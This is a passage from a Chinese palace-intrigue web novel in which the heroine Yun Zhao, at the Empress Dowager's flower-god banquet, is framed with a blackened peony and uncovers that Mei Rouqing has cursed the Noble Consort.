长公主唇角微扬,顺手便将锦盒塞回云昭手中:“贵妃娘娘赏的,还不快谢恩?”
云昭从容谢恩,跟在长公主身后,一同离去。
主殿内,方才还言笑晏晏的气氛似乎骤然冷了几分。
姜绾心正欲再寻些话凑趣,一抬首,却见孟贵妃并未看向她们。
而是神色沉郁,目光飘忽地落在虚空某处,眉眼间笼罩着一层驱不散的倦怠与烦忧,似是心情不虞。
姜绾心见状,不禁心头一喜,暗自揣测:
就算懂得几分医术,侥幸救了贵妃身边的大宫女又如何?
终究是不懂察言观色、体察上意!
宫中这些贵人,心思九曲玲珑,岂是那般好应对的?
瞧贵妃娘娘这般神色不虞,只怕那云昭不知在何处已悄然开罪了贵妃,自己却还懵然不知!
*
出
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了宫门,长公主的步辇已候在一旁。
她朝云昭伸出手,语气温和却不容拒绝:“上来,与本宫同行。”
辇驾平稳前行,四周宫墙渐次后退。
长公主侧过脸,眸光在云昭面上一扫,声音压得低却清晰:“一落地便被截去了披香殿?”
“是。”云昭应道,神色未见波澜,“贵妃娘娘说,听闻我在义母春日宴上有所表现,命我前去为她请脉。”
“请脉?”长公主唇角绽起一丝冷嘲,“太医院那么多人手,缺她使唤了?我看她是醉翁之意不在酒,分明是听说了那日的事,存心试探。”
提及前几日春日宴发生的事,长公主心有余悸,声音也沉了几分:
“事后周嬷嬷同我细说了当时情状。姜绾心那画……绝非寻常,邪门得很。若非你在场,本宫恐怕早已中了算计。”
她越说越恼,指尖掐进掌心:“小小年纪,心思竟如此歹毒,专行这等魑魅魍魉之事!本宫断容不下她,迟早要清算这笔账。”
她转而看向云昭,目光关切:“方才在里头,你真给她诊脉了?”
云昭摇头,将救治大宫女锦屏的经过简要说了一遍,继而微蹙眉头道:“只是此事,着实透着些蹊跷……”
长公主敏锐地捕捉到她话中迟疑:“你怀疑是有人故意设计?”
云昭迎上她的视线。
对这位长公主,云昭最初确存了借势互利之心。
可无论是春日宴上赠她头香彩笺、主动提出认她为义女,还是方才亲自赶赴贵妃宫中替她解围,长公主所展现的回护与慈爱,早已远超她最初的预期。
因此,云昭并未隐瞒,如实道:“人为设计难以精准至此。以我所见,更像是中了咒术。”
“咒术?”长公主讶然,凤眸微睁,“世上竟真有这种东西?”
云昭微微一笑,解释道:“我也是少时在一本残旧古书中,偶然见过类似记载,故而有所猜测。”
长公主仍是惊疑不定:“孟清妍此人我虽不喜,可究竟是谁要向她下咒?这咒术还这般刁钻古怪。”
她顿了一顿,压低声音追问,“此事,你可曾向她透露半分?”
“不曾。”云昭答道,“我只说那蜂类多生于山野,尤喜腐果,不知为何竟会出现在宫苑深处。他们以为我自幼长于乡野,熟知蜂性,便未曾起疑。”
“你处理得极好。”长公主连连点头,面露赞许。
“孟清妍多疑善嫉,手段狠辣,你若一味推说不知,她反而不信。这般说辞,恰到好处。”
言至此处,她忽然伸手,轻轻握住云昭的手,语气染上几分难以言喻的哀切:
“昭儿,这几日,我竟接连梦见了宝珠两次……她失踪三载,从未入我梦中,想来,是你赠我的那道黄符,为我牵来了她的音讯。”
第28章 醋坛子打翻了
随行在侧的周嬷嬷适时轻声提醒:“殿下,云昭小姐,前头便是御花园了。”
话音虽低,却是在暗示园中耳目众多,不宜深谈。
云昭反手轻轻回握了长公主的手,倾身靠近她耳边,声音低而坚定:“义母宽心,待今日事了,我必为义母解开这个心结。”
说话间,她目光掠过长公主云鬓间璀璨的钗环,在对方略显诧异的目光中,抬手为她卸下几支最为沉重华贵的金钗与步摇,转而交给周嬷嬷。
“义母若信我,今日便暂作简素装扮。”
长公主何等聪慧,联想云昭方才所说,心下一时有了判断,颔首道:“便依你的主意罢。”
云昭又转向周嬷嬷,温声道:“嬷嬷身上若佩有香囊,也请暂且解下。事后,我自会向义母与嬷嬷说明缘由。”
经过春日宴之事,周嬷嬷对云昭颇为信任,闻言应声称是。
*
说话间,步辇已入御花园。
花影扶疏,暗香浮动。
铺着华美锦缎的席案错落安置于馥郁花荫之下,席间玉盘珍馐,琉璃盏中酒光潋滟。
贵女命妇们云鬓霓裳,言笑浅浅,一派升平景象。
云昭随长公主步入园中,顷刻间便吸引了无数或好奇、或审视、或探究的目光。
上首处,太后身着绛紫色宫装,外罩一层墨色绣金凤穿牡丹纹样的薄纱大衫,高挽发髻佩戴一整套赤金镶红宝的头面。
她保养得极好,眉目间依稀可见年轻时的风韵,然而细看之下,却见一层若有似无的灰气覆于面庞之上——
那并非寻常病气,而是一个原本福德深厚之人行了恶事,自损气运后呈现出的衰败之相。
云昭看在眼里,不由一顿:这太后瞧着人模人样,背地里怕没少干“不做人”的勾当。
这得造了多少杀孽、损了多少阴德,才能把自个儿好好的凤命折腾成这副鬼见愁的模样?
云昭身具玄术,自诩也算半个修行之人,历来遇到这种人,她绝不会去干涉因果。
不过,难得遇到个如此作死的,她倒是挺有兴趣,亲眼见证她的下场如何。
太后的目光也恰恰落定在云昭身上,见她与长公主手臂相挽,姿态亲昵,便道:
“这便是前些时日,在你生辰宴上颇出风头的那个‘小医仙’?”
“回母后。”长公主应道,“她叫云昭,是儿臣新认的义女,也是姜家才寻回来的嫡长女。”
太后嘴角忽地绽出似笑非笑的弧度:“你素来与姜尚书不睦,竟会认他的女儿做义女?”
“一码归一码。”长公主神情不变:“昭儿秉性纯善,灵慧通透,甚合我意。母后近来不也对姜家那位二小姐青眼有加?”
太后一时默然。
长公主言罢,也不行礼,只径自携云昭入席。
云昭至此方真切体会到,为何先前萧启会说太后与长公主关系微妙。
这母女二人,并无生疏隔阂,反而透着一股稔熟的紧绷。
字字句句,皆似暗藏机锋,彼此较劲。
就在这时,孟贵妃携梅柔卿与姜绾心翩然抵达。
梅柔卿未再覆面纱,脸上敷了一层细粉,虽依稀能辨出伤痕,却已不似先前那般骇人。
姜绾心则装扮的珠光宝气,紧随贵妃与母亲身侧落座。
甫一坐定,便听得邻席一位身穿水红宫装的纤瘦女子笑吟吟道:“姜二小姐这串水玉璎珞真是夺目,水色莹澈,雕工亦精。”
姜绾心软声回应:“南华郡主过誉了,并非什么名贵之物,是家兄前番南下,特地从青州带回的伴手礼。”
青州正是云昭自幼生长之地,其所产多色水玉名扬天下,她再熟悉不过。
然而方才来时,姜绾心颈间并无此物,显然是刻意提防着她,临入席前才特意佩戴上的。
果然,话音未落,姜绾心目光已似有若无地掠向云昭。
南华郡主顺势也将目光投向云昭:“姜大小姐方才归京,可是首饰尚未备齐?怎这般素净?”
南华郡主此言一出,在场众人不由都将目光落在云昭身上。
只见她身上浅碧色流光缎长裙,以淡彩丝线绣了疏落百合,发间仅簪一对珠光温润的珍珠珠花,耳畔亦是同质的珍珠坠子。
她容貌秾丽,这一身装扮颇显清雅,可在珠围翠绕的众贵女间,就显得有些素淡了。
云昭从容抬眸,唇边浅笑淡然:“劳郡主挂心,民女不喜钗环盈首,但求清爽适宜便好。”
“哦?”南华郡主柳眉微挑,似笑非笑,
“我怎么听说,前几日长公主殿下的春日宴上,云姑娘装扮出众,鬓间还簪了一支极珍贵罕见的羊脂白玉红宝簪。”
她语声稍顿,目光渐锐:“怎的到了太后娘娘的花神宴,反倒刻意素淡起来?
知道的,说是姜大小姐首饰有限、不得不俭省些;不知道的,只当你怠慢太后,心存不敬呢!”
南华郡主此言一出,在场倏然一静。
上首太后眸色微沉,笑意淡去几分。
近年来她与长公主不睦,早非秘事。
南华郡主此言,无异于将母女龃龉公然摊开示众,更暗指云昭逢迎长公主而有意怠慢太后,其心可诛。
云昭既做此打扮,对可能遭遇的议论早有准备。
但她看着南华郡主眼中明明白白的嫉恨,简直比姜绾心更甚,一时想不明白这敌意的由来。
云昭身侧的莺时指尖发冷,暗自懊悔:
早知如此,便该学那姜二姑娘将钗环随身带着,入席前再劝姑娘簪上也好。
今日若真触怒太后,归家之后,姜家那些人还不知要如何作践姑娘。
对面席间一位身着石榴红裙的姑娘忽而道:
“难道唯有珠翠堆满头,才算是对太后娘娘敬重?照这般说,我自小连耳洞都不曾穿,岂非大不敬?”
女子声线清亮,透着一股不拘小节的飒爽。
云昭抬眸望去,正对上对方含笑眨动的眼睛——是英国公府七姑娘李灼灼。
那日众贵女送给长公主的寿礼各个尽显才艺,唯李灼灼送的是一盒人参,据她说是年前去东北老家玩,跟着几个表兄进林子猎鹿时挖到的。
云昭对这段逸事印象深刻,连带也记住了李灼灼的脸。
而且后来闹起画卷的事,她当时高喊一声,也是李灼灼赶在众人之前,率先举起了那幅画,避免其他人再受画上药粉影响。
满京城皆知,英国公夫人连生六子,唯得此一女,自小爱若珍宝,养就一副洒脱性子。
无论何种宴会,她发间永远只簪一枚发簪,且从不佩耳饰。
太后闻言,亦绽出笑容:“你这泼皮,自己
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不爱妆饰,倒会替别人寻借口。”
太后与李灼灼的外祖母是堂姊妹,自幼看她长大,对她向来宠溺。
李灼灼皱着鼻子道:“哪里是不爱美,实在是我肌肤太容易留疤,怕打了耳洞不易痊愈,索性就不打了。”
南华郡主面覆寒霜:“本郡主在跟姜大小姐问话,关你何事?”说着,她又看向云昭,“我问你,你那支羊脂白玉红宝簪……”
云昭神色沉静,听她提起那枚发簪,心中一时莫名。
李灼灼嗤笑一声:“总算将心里话问出口了!”
她截过话头,转而朝向看后:“那日春日宴上,我们都瞧见了云昭戴的白玉红宝簪,似是金缕阁非卖的那件镇店之宝。
当时就有人猜,许是秦王所赠,瞧瞧,南华郡主竟记到今日。”
她语带戏谑,“这般咄咄逼人,原是醋坛子打翻了呢!”
南华郡主霎时羞愤交加,连耳根都透出绯色:“休得胡言!”
可她这般情态羞恼,分明就是被说中了心事,席间众人彼此递过眼色,心下皆已了然。
太后也在上首微微摇头。
几年前萧启并未兵败受伤时,满京城不知多少王女闺秀,都想嫁入秦王府。南华郡主的那点心思,更是从未好好藏住过。
但奈何……她这个皇孙自小性子就冷,尤其经历当**,脾性愈发孤拐,不然也不会一路耽搁到二十有五,仍迟迟未定婚事。
云昭此时心下澄明:原来是萧启惹来的桃花债。
见太后目光看向自己,云昭起身行了一礼:“回太后娘娘,民女当日所佩戴的发簪,确为秦王殿下所赠……”
一语既出,满座皆惊。
秦王萧启容色俊美,战功赫赫,却偏偏性子冷峭,不近女色。
京中贵女们对他多是又慕又畏,但明知秦王对谁都是一般疏离,求而不得反倒成了常态。
如今骤然听闻他竟破例,主动赠簪于一女子,席间顿时低语四起。
无数道目光或羡或妒、或疑或探,齐齐聚焦于云昭一身。
就连姜绾心也俏脸泛白,指尖揪紧帕子。
那日在春日宴,她不过是不忿众人目光皆集于云昭一身,才故意出言讥讽,说她是秦王外室,好教她当众难堪。
怎想得到,她那支金缕阁珍品发簪,竟真是秦王所赠?!
这……怎么可能!
云昭却依旧神色沉宁:“因民女略通岐黄之术,近日正为秦王殿下诊治头疾。殿下仁厚,故而以簪酬谢,权作诊金。”
“你能医治秦王的头疾?”太后脸上浮起一缕不信。
太医院诸位国手尚且束手无策的顽疾,她实在难以相信,一个十五六岁的黄毛少女竟能有此能耐。
贵妃指尖捻起一颗杏脯,悠悠然道:“母后有所不知,姜大小姐确实医术了得。”
“今日在臣妾宫中,宫女锦屏被毒蜂蜇伤,危在旦夕,便是她出手,以金针刺穴,顷刻间便化解了蜂毒。”
她说着,眼波似不经意地扫过云昭,笑意盈盈地继续道:
“臣妾记得,母后近来总是食欲不振,神思倦乏,御医们调理了这些时日也不见大好。
既然姜大小姐有此妙手,何不命她为您请个平安脉?”
这番话看似恳切关切,实则绵里藏针,故意将云昭推向风口浪尖。
第29章 心儿她只是个孩子
太后眸光微凝,不由再度审视阶下的云昭。
云昭并不急于为自己剖白。
她先前出手救治那名宫女,一则出于医者本能,二来也是借此点破贵妃当下困局的奇异之处,令其自顾不暇、暂缓针对自己。
但这一点都不妨碍贵妃转眼便在太后面前故作姿态,当众捧杀。
云昭不由暗自摇头:蠢。
御花园人多眼杂,贵妃自入场便以手护腹,方才又专挑酸口的杏脯食用——
在场诸多命妇,都有孕育子女的经验,岂会无人窥破其中关窍?
她却犹不自知,仍有心在此与自己为难。
“贵妃的宫女被毒蜂所伤?”长公主蹙眉,语带诧异,
“这倒奇了。深宫禁苑,每日都有专人洒扫清理,怎会凭空出现这等剧毒的蜂子?还偏偏伤了人?”
比起贵妃方才明褒实贬的捧杀之语,长公主这轻巧一问,才真正切中要害,瞬间引得太后神色一凝。
云昭唇角微抿,不由悄悄望了长公主一眼——
来时路上将贵妃宫中之事悉数告知,果然是对的。
长公主回以一抹不易察觉的狡黠目光,指尖在云昭袖边轻轻一按,尽是默契从容。
此言一出,不仅太后神色肃然,席间诸多命妇也纷纷色变,下意识地四下环顾。
因要筹办花神宴,御花园内百花争妍,偶有蜜蜂蝴蝶穿梭,本是风雅常景,此刻却仿佛危机四伏。
“呀!真有蜂子!”一位贵女小声惊呼,下意识地往后退了退。
旁人忙安抚:“瞧着像是采蜜的蜜蜂,应是无毒的……”
经此一闹,众命妇顿觉草木皆兵,不少人都放下手中折扇或汤匙,再无此前从容赏花的心情。
向来最重脸面的太后,脸色沉了下来。
她看向贵妃,语气虽平淡,其中的问责之意却不容错辨:“孟贵妃,你宫里近来是怎么回事?”
“前几日才报有乌鸦惊扰,今日又出了伤人的毒蜂。你这披香殿,何时变得这般不太平了?”
孟贵妃起身敛衽:“母后息怒。臣妾实在不知,近来宫中为屡生事端……”
她说这话时,不自觉地瞟向坐在下首处的梅柔卿,眼神里透出自己都未觉的依赖。
“太后娘娘容禀。”梅柔卿适时柔声接话:“民间素有‘花香引灵’的说法。
许是贵妃娘娘宫中花草繁盛,生机盎然,这才引得蜂蝶趋附。并非凶兆,反倒是毓秀之象呢。”
一道娇脆的嗓音含笑响起:“花香引灵,引的该是蜂蝶彩雀才对。何时连乌鸦毒蜂也算作‘灵物’了?”
来人语气轻软,话意却锋锐:“若嫔妾没记错,前些日子贵妃姐姐去宝华寺进香,还被一只山猫冲撞了仪驾,险些伤了面容?这难道也是‘毓秀之象’不成?”
这话说得真是够毒的。
云昭险些笑出声,不由循声望去。
只见来人身姿袅娜,姿容清纯若雪,眼波流转见却自带一股浑然天成的媚意,哪怕在这满是高门贵女的御花园,也格外夺人注目。
“嫔妾来迟,求太后娘娘恕罪。”
云昭见来人袅袅娉婷,说起话来一副娇态,还以为太后会动怒。
不料太后竟分外和颜悦色:“你连着一个月为哀家抄经祈福,为花神宴尽心竭力,多歇息片刻也是应当的。”
随即吩咐身旁嬷嬷,“给阮嫔看座。”
云昭眼眸微亮:原来她就是阮嫔?
没想到竟生得如此玉软花柔,我见犹怜,连她同为女子,都不自觉心弦撩动。
阮嫔盈盈谢恩,仪态万方地坐在了离太后最近的位置上。
她刚落座,便轻呼一声,语带纯然关切:“呀,贵妃姐姐脸色怎的这般差?瞧着竟比我还憔悴几分呢。”
贵妃脸色当即一沉,艳丽的眉眼间戾气骤现,眼看就要发作,忽闻上首太后不轻不重地冷哼了一声。
她猛地顿住,目光下意识地瞥向身旁以绣帕掩唇的梅柔卿,最终只是紧紧抿住了唇。
云昭将贵妃这反常的强忍尽收眼底,心下顿时了然——
自己离开贵妃宫中的这段时间里,这三人必定已暗中达成了某种默契或计划。
果然,姜绾心即刻抓住时机,笑颜甜美:“恰逢太后娘娘举办百花盛宴,稍后拜花神时,贵妃娘娘正可诚心祈愿,佑护安宁。”
她语气甜软,带着恰到好处的崇拜,“臣女近来常听百姓夸赞,都说太后娘娘办的花神宴最是灵验,福泽深厚呢!”
太后神色稍霁,感兴趣地问:“哦?百姓们都是怎么说的?”
姜绾心细声细气地答:“大家都说,正是因着太后年年引领天下共敬花神,才得风调雨顺、百花繁盛,这可是造福万民的大功德。”
太后被她哄得笑容满面,朝她招手:“还是心儿会说话。来,到哀家身边坐。”
又吩咐宫人,“给心儿上一盏海棠蜜露,她最爱这个。”
有了姜绾心在侧,太后不再执意为难,贵妃肉眼可见地松了口气。
姜绾心乖巧地挨着太后坐下,软声道:“太后娘娘还念着心儿,心儿便安心了。这几日总惶恐不及,生怕娘娘不再疼心儿了……”
太后轻拍她手,嗔道:“傻孩子,尽胡思乱想。哀家怎会不疼你?”
又转向长公主,“妙瑜,罚也罚过了,何必与小孩子计较。今日宴后,便将那柄珊瑚宝扇归还心儿,那是哀家过年时赠给心儿压岁的年礼,不可言而无信。”
云昭清楚地看见长公主嘴角抿紧,旋即,又淡淡笑开:“母后有所不知,那柄扇子前儿个被渊儿要去了。”
“渊儿?”太后诧异,“他要那宝扇作甚?”
自四年前萧启重伤留京,进宫的次数就多了,但对她这位皇祖母,却比少时疏远得多。
太后对此有心无力,听到长公主这样说,不由叹了口气:“罢了,左不过一把扇子,渊儿既喜欢,就给他吧。”
又对姜绾心温声道,“哀家今日命人准备了不少名花,一会儿拜花神,你挑一株最喜欢的献上。”
*
园中香烟袅袅,繁花似锦,各色名品堆叠如云,馥郁芬芳弥漫四野。
众贵女皆敛容屏息,手捧精心挑选的鲜花,至白玉花神像前虔诚叩拜,祈愿祝祷。
太后特命宫人辟出一处铺满珍稀花材的锦案,对姜绾心道:“心儿,去选一支你最喜欢的,献给花神吧。”
姜绾心却朝云昭柔柔一笑:“我与阿姊本是同根姊妹,既有太后如此恩赏,心儿岂能独享?”
说着,她向太后盈盈一拜,“求太后恩准,容心儿与阿姊一同择花。”
太后颔首微笑,目露赞许:“心儿果然宅心仁厚,懂得姊妹情深。哀家准了。”
云昭眼波微动,从容上前:“多谢妹妹美意。”
心中却清明如镜:梅柔卿与姜绾心铺垫良久,一心筹谋这拜花神的环节,想来是设好局等她上钩了。
瞧姜绾心迫不及待的模样,她这个做姐姐的若是不配合点,岂不太过不近人情?
姜绾心纤指轻拈起一支盛放的重瓣牡
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丹,指尖微抚花瓣,语带羡叹:“这支牡丹生得真美,正与阿姊相配。”
太后在一旁含笑解释:“这是花匠新育的品种,名唤‘醉胭脂’,心儿果然有眼光。”
又向阮嫔道:“更难得的,是她这份大方。”
阮嫔掩唇轻笑:“正是呢。”
云昭手中已捧了一束垂丝海棠,闻言与姜绾心目光相触,并未立即应答。
姜绾心故作失落,轻声道:“阿姊若是不喜……”
云昭却倏然抬手,稳稳接过那株牡丹,唇边漾开清浅笑意:“妹妹一番心意,阿姊怎会不喜?”
旋即向太后行礼,“臣女叩谢太后娘娘赐花。”
姜绾心垂眸掩去眼中一闪而过的得色。
亏得梅姨之前还说,云昭生性倨傲,城府深沉,怕不会轻易入局,让她耐心周旋,多几次试探也无妨。
但她故意当着太后的面相激,又特意选取了其中最美的一支——
不过略施小计,她便在太后面前不得不接下此花!
姜绾心扬唇:姜云昭,任你先前出尽风头,今日我也要你在这满园贵眷面前身败名裂、人人厌弃!
太后温声催促:“心儿,别光顾着别人,你也快选一支心仪的去拜花神。”
云昭随在李灼灼身后,如其他贵女一般凝神静立,将那支牡丹置于汉白玉祭台之上。
相隔不远,姜绾心亦放上一束洁白无瑕的白玉蝶,花品珍稀,姿态清冷。
梅柔卿紧随其后,献上的则是一束淡紫辛夷,低调素雅,毫不惹眼。
众女祭拜完成,依次落座。
太后举杯,邀众贵女共饮:“今日花神宴,哀家高兴得很。大家尽兴而归!”
宴席过半,太后身旁侍立的嬷嬷笑着道:“接下来,便请诸位夫人、姑娘,来玩一玩‘飞花穿云令’。”
她详述规则:“以藤蔓鲜花编作圆环,悬于半空。诸位以特制花箭投掷,若能一箭穿环,便算得了花神娘娘的赐福!”
众人正凝神聆听,摩拳擦掌之际,忽闻席间一声惊呼乍起:“快看——!”
天色不知何时由晴转阴。
命妇贵女们循声望去,只见无数彩蝶翩跹而来,如被无形丝线牵引,竟齐齐朝着摆满敬献鲜花的石台飞去。
不过片刻,那群色彩斑斓的蝶儿,不约而同地栖落于姜绾心所献的那束白玉蝶之上,环绕翻飞,久久不肯离去。
霎时间,园中惊叹之声四起:
“莫不是花神娘娘显灵了?”
“竟是姜二小姐得了花神眷顾!真是祥瑞!”
太后亦面露惊喜,看向一旁满面羞怯、低垂着头的姜绾心,慈声道:“好孩子,快近前来,让哀家仔细瞧瞧。”
众贵女纷纷簇拥上前,争相目睹这奇异景象。
唯云昭安然独坐原处,纹丝未动,仿佛周遭喧嚣与她无关。
云昭从容执起案上琉璃盏,轻啜一口其中清甜的果酒,姿态闲适。
她想起师父在她年幼时,某次醉酒曾说,皇家内苑,人心复杂纷纷扰扰,但御膳房的手艺确是极好的。
她曾以为师父口中的皇宫,不过是故事里的遥远传说,不想有朝一日,她竟能坐在御花园中,品尝师父多年前也曾品过的美酒珍馐。
长公主本欲起身,见她如此,不由蹙眉折返:“昭儿,你……
恰在此时,人群之中骤然爆出一阵骇然尖叫!
“这究竟是怎么回事?!”太后震怒的声音响彻御花园,“哀家的‘醉胭脂’……云昭!你究竟做了什么好事!”
第30章 人人一朵小白花~
终于来了。
云昭眸底掠过一丝几不可察的嘲弄,她神色沉静,抬眸望向骚动之处。
众人见她望来,不自觉地向两侧退开,让出一条通道,也让她与长公主看清了石台上的情形——
只见群蝶依旧簇拥着姜绾心那束白玉蝶,而与之形成惨烈对比的,则是云昭所献的那株名品“醉胭脂”。
本该艳丽无双的牡丹,花瓣竟呈现出一种诡异的焦黑色泽,边缘卷曲枯败,更散发出阵阵难以言喻的**气息。
俨然一副被厄运沾染的不祥之兆!
“姜云昭,你究竟动了什么手脚?”南华郡主率先发难,指着云昭厉声道:
“此乃敬献花神之物,岂容你肆意亵渎!即便你与姜二小姐有何私怨,也不该在此等场合如此不知轻重!”
“这倒是有意思了!”李灼灼冷笑一声,出声反驳,
“当时大家都瞧见了,这花可是姜绾心亲手挑选出来,硬塞到云昭手里。焉知不是有人存心陷害?”
姜绾心闻言,脸色霎时苍白如纸。
她此刻才恍然惊觉,此前梅柔卿再三叮嘱她多让云昭几种选择,无形中也替她自己洗脱了嫌疑。
可当时她急着压过云昭,刻意选了其中最华美的一朵,逼着云昭当着太后的面,不得不应承。
她一手抚住心口,泫然欲泣:“我怎会……”
“阿姊是我的嫡亲姐姐,当时我选了那朵醉胭脂,本是极爱它,想留给自己的。是后来见它实在与阿姊气质相配,这才忍痛割爱……
太后此时亦沉声道:“灼灼,你当时忙于献花,未曾看清。那朵醉胭脂,确是心儿最初为自己所选。此事,哀家与阮嫔都看得真真切切。”
阮嫔在一旁连忙点头附和。
李灼灼一时气结。
她觉得一个人但凡没有眼瞎,都能看出其中蹊跷。
奈何太后自去年底那段时日,也不知是被下了降头还是怎的,处处偏袒姜绾心,连她这个自小受宠的孙女,都被比了下去。
现在更是连她一句中肯的明断都听不进去。
这时,一道温柔的嗓音在人群中轻轻响起:“民女倒是听闻过一个传说。"
众人循声望去,只见梅柔卿半垂着眼,语气轻柔却足以让所有人听清:
“民女家乡在南边,曾听村中老人言道,**花神时,若心怀至诚善意,或能得花神赠香,所献之花亦会芬芳持久。
而若其身不祥,或心存恶念,花神厌弃,不愿受其供奉,便会令其献上的花朵瞬息凋败,乃至......呈现腐坏之象,以示警示。”
南华郡主立即“啊”了一声,接口道:“姜大小姐这牡丹,并非寻常枯萎,而是这般……”
众人都朝那朵已然焦黑的牡丹望去,窃窃私语此起彼伏。
“难道……这竟是花神降怒之兆?”
南华郡主故作嫌恶地啧了一声:“既是花神娘娘有所昭示,我可不敢与这等身带不祥之人同席共饮。"
说罢,她竟公然后退数步,刻意拉开了与云昭的距离。
太后也紧紧蹙起了眉头,看向长公主的目光带上了几分责备:“妙瑜,你这义女……”
云昭却于此刻忽然开口,声音清越平静:“太后娘娘,民女想近前一观自己所献之牡丹,不知可否?”
太后眉头紧锁,虽未应允,却也未明确拒绝。
云昭缓步上前,在众目睽睽之下,小心翼翼地将那朵焦黑的醉胭脂捧入手中。
此花本是浓丽华贵的酒红色,重瓣层叠,雍容大气,故得“醉胭脂”之美名。然而此时,它通体泛着焦黑,仿佛死气沉沉。
恰在此时,头顶层云忽散,一缕澄澈天光如金沙般流泻而下,正正落于云昭掌心那朵残花之上。
焦黑的花瓣,竟隐约泛出陈年墨玉般的暗金光泽,细腻如丝绒,仿佛内蕴玄机。
站的最近的李灼灼不禁揉了揉眼睛,却又怀疑自己是不是眼花了。
云昭从容行礼:“既花神娘娘不喜此花,恳请太后娘娘,允准民女自行保留这支牡丹。”
太后只觉得这姜家嫡女言行怪异,不可理喻!
她嫌厌地瞥了长公主一眼,似在责怪她认下这等不知所谓的义女,平白丢了皇室颜面。
于是不耐地挥挥手:“随你。”
她既厚颜求取,不嫌丢人,便由得她去。
总之莫要让这不祥之物,继续摆在花神娘娘的供台上丢人现眼就成。
*
云昭捧回那朵牡丹,怡然落座,神情如静水无波,仿佛浑然未觉他人的厌嫌与讥诮。
长公主蹙着眉回到她身畔,正欲寻个由头宽慰她莫要将小人言行放在心上,目光却被云昭手中那朵花吸引——
这般近距离细看,那朵醉胭脂竟流转着一种奇异而华贵的暗金乌光,质地细腻如丝绒,透出一种说不出的华美。
长公主一时愕然,竟不知该作何反应,只怔怔望着那花。
云昭却朝长公主俏皮地眨了眨眼,压低声音道:“义母若喜欢,待宴散了,我为义母簪在鬓边可好?定比那些俗物更配您的容颜。”
长公主知她心有定计,必藏后手,却仍不免悬心,低声提醒道:“昭儿,太后最重颜面,稍后你……不可太过。”
这边母女二人低语未歇,另一侧早已喜气洋洋,是喧闹一片。
几位与姜绾心素日交好的贵女纷纷围上前凑趣:
“去年得花神赐福的是金尚书家的千金,之后不过三月,便与永宁侯世子缔结良缘了!”
“这么说来,莫非咱们心儿妹妹的喜事也近了?”
“哪有……”姜绾心一时双颊飞红,羞怯地垂下脸:“几位姐姐莫要再取笑心儿了。”
太后含笑唤她近前:“心儿,你来。”
一边吩咐手巧的宫婢将那些备受蝴蝶青睐的白玉蝶重新编整,结成一只精巧别致的花环。
南华郡主满眼羡慕,忍不住轻扯姜绾心的衣袖
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:“好妹妹,也分我们几朵沾沾福气?”
姜绾心嫣然一笑,姿态大方地从那束花枝中,折下小枝品相好的,亲手分赠与南华郡主等几位交好贵女。
“我就不必了。”宋白玉在旁看着,笑着摆手:“再折下去,心儿妹妹的花环可要光秃秃了。”
一位姑姑含笑上前,接过剩余的花枝,十指翻飞如蝶,转眼间编成一枚精巧的花环,恭敬地奉与太后。
姜绾心提起裙摆,虔诚地跪于太后跟前,仰起脸时,声音微微哽咽:“臣女叩谢太后娘娘恩泽。若非娘娘举办花神盛宴,臣女又何来这般机缘……”
太后笑着将花环戴在姜绾心发间,目光慈爱:“这是花神娘娘赐福,哀家也是沾了你的光罢了。”
姜绾心从花环中,小心翼翼摘下一朵最为洁白无瑕的小花,跪直身子,恭敬地簪于太后衣襟的领缘之上。
太后笑得合不拢嘴:“还是心儿贴心,处处都念着哀家。”
云昭:“……”
看不懂,这就是京城人的风尚?
在青州的乡间故里,唯有丧仪之时,才会在胸前簪戴白花以表哀悼。
如今见太后这般打扮,她只觉眼角微抽,心底泛起一股难以言喻的荒谬。
长公主亦半垂着眼帘,唇角紧抿,端起茶盏掩饰性地轻啜一口。
那神情分明是不忍再看、又不好直言的无语。
太后胸前佩戴着素白的小花,不舍地拽着姜绾心的手。
阮嫔眼波流转,故作凑趣道:
“看来嫔妾今日得识趣些,主动将这靠近太后娘娘的座儿让与姜二小姐罢,否则岂不成了离间太后与心儿姑娘的恶人了?”
太后闻言,笑骂一句:“你这泼猴儿,惯会贫嘴。”
阮嫔顺势翩然退至一旁空席——那位置恰与长公主、云昭相距不远。
落座后,她执起酒盏,朝长公主的方向遥遥一敬,随即拈起一枚蜜饯,姿态娴雅地品尝起来。
另一边,南华郡主等几位得了白玉蝶的贵女个个喜形于色,反复赏玩着手中那象征“福气”的花枝,仿佛真能借此沾上几分好运。
梅柔卿款款回到贵妃身畔,手中亦持着一枝姜绾心所赠的洁白花朵。
她微微欠身,声音温柔似水:“贵妃娘娘,可需民女为您将这福泽之花簪上?”
贵妃蹙了蹙眉心。
她向来偏爱华丽招摇的装扮,对此类寡淡的小花实在提不起兴致。
然而念及太后方才的盛赞、花神赐福等玄妙之说,再思及自身近来诸事不顺,只迟疑片刻,便微微颔首:“替本宫簪上吧。”
梅柔卿温顺应下,为贵妃将小白花簪在鬓边。
云昭、长公主:“……”
紧接着,就见梅柔卿竟笑意盈盈,手中捏着最后一支白花,朝她二人方向走来。
“不必。”长公主眼帘轻掀,毫不掩饰不喜,“本宫向来不喜这等素色,还有这香气,闻着头疼,拿得远些。”
第31章 好一张利嘴!
太后闻言,面色倏然转沉,不悦之情溢于言表。
姜绾心时刻留意着太后神色,见状立刻柔声解围,语调乖巧又委屈:“长公主殿下若是实在不喜……那留给阿姊也是好的。”
“妹妹有幸得蒙花神垂怜,心中惶恐,只愿能将这份福泽分与阿姊同享,盼阿姊也能多些福运傍身。”
太后面色稍霁,颔首赞许:“心儿总是这般体贴。”
于是梅柔卿便顺从地将那枝白花放在长公主与云昭面前的案几。
然而就在梅柔卿伸手放置花朵的瞬间,云昭眸光蓦地一凝——
只见梅柔卿那只纤纤素手,无名指根处,赫然缠绕着三圈细如丝线的殷红印记。
她无名指佩戴一枚白玉戒子,若不是云昭坐着的角度特殊,几乎很难窥见这隐秘的痕迹。
先前对于贵妃所中咒术,云昭只是心中有所猜测,直到此时,此刻终于有了确凿的证见。
给贵妃下咒的,竟真是梅柔卿!
前世她被困于暗室,受尽百般折磨,姜珩所用的那些阴毒邪术层出不穷。她一直以为,是姜珩身边网罗了深谙此道的能人异士。
难道,前世隐于姜珩身后那个精通阴诡咒术的人,是她?!
云昭看着梅柔卿,唇角含一缕似笑非笑的弧度:
“梅姑与心儿妹妹一向情感深厚,如此吉庆之时,怎能不为自己也留一朵福泽?”
说着,她纤指微抬,自案头那枝白玉蝶上摘下一朵最为莹润的,朝梅柔卿递去。
她的动作从容优雅,目光却清洌如秋水,仿佛能洞穿人心。
“梅姑,”她音调平稳,却字字清晰,“这一朵,是你的。”
